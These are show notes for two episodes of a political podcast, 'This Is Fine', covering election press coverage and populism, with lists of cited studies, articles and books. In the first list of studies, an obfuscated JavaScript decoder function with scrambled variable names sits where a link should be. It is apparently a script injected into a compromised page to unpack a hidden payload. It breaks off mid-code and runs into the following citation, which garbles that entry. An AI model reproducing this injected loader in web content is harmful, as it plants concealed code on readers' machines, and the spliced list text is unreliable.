This is Fine

Welcome to This Is Fine, episode 1.3, part 1: the media is the message. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share the podcast with your fifth cousins and work spouses.

In this week’s podcast, we look at the Shorenstein Center's review of media coverage in the election, shake our heads in disbelief at the Times' need for approval and dismal new public editor, and ask if the media's coverage of Trump is newly dangerous or part of a continuum of decline in political reporting.

We'll return in two weeks with This is Fine, 1.3, part 2, where we cover fake news and the Frankfurt School.

Please send us listener questions for This is Fine, 1.4: no state solution, where we'll try to take on foreign policy in the Obama and Trump eras, and our problems with it. Have a wonderful New Year.

Studies from the Shorenstein Center discussed in this episode:

• "News Coverage of the 2016 General Election: How the Press Failed the Voters"
• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders/">"Pre-Primary News Coverage of the 2016 Presidential Race: Trump’s Rise, Sanders’ Emergence, Clinton’s Struggle"

et cetera:

• Liz Spayd, "When the Language of Politics Becomes a Minefield," The New York Times
• Joshua Green, "This Man is the Most Dangerous Political Operative in America," Bloomberg Businessweek
• Eric Umansky interviews Brendan Nyhan, "How Journalists Need to Go Beyond Fact Checking Trump," ProPublica
• Rick Perlstein, "Meet the Press: The hustlers, hucksters, hacks, and cowards who helped elect Donald Trump," The Washington Spectator
• Steve Inskeep interviews Sarah Chayes, "Trump Offers Key Posts to Sen. Sessions, Rep. Pompeo, & Retired Lt. Gen. Flynn," NPR

Welcome to This Is Fine, Episode 1.2: Argumentum ad populum. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share the podcast with your friends and frenemies.

In this week’s podcast, we share our origin story in Southern California; explore what populism is and if it can turn left (verdict: not an ambi-turner); make the case that a Nazi political theorist is not in the best position to diagnose liberalism's faults; and sketch out our visions of protest in the Trump era.

Please send us reader questions for This is Fine, 1.3: the media is the message, where we'll try to take on not only fake news and bullshit coverage, but also the way media outlets shape the meta-conversation: what is permissible to say about politics.

Articles discussed in this episode:

• Jedediah Purdy, "Populism's Two Paths" in The Nation
• Malloy Owen, "Don't Mourn, Repoliticize" in The Point Magazine

Books discussed:

• John Judis, The Populist Explosion
• Jan-Werner Müller, What is Populism?

et cetera:

• Judith Shklar, "Liberalism of Fear"
• Richard Rorty, Contingency, Irony, and Solidarity
• John Judis & Ruy Texeira, The Emerging Democratic Majority
• Benjamin McKean, "Toward an Inclusive Populism? On the Role of Race and Difference in Laclau’s Politics"
• Carl Schmitt
• Tim Schenk interviews K. Sabeel Rahman in Dissent, "Booked: The End of Managerial Liberalism"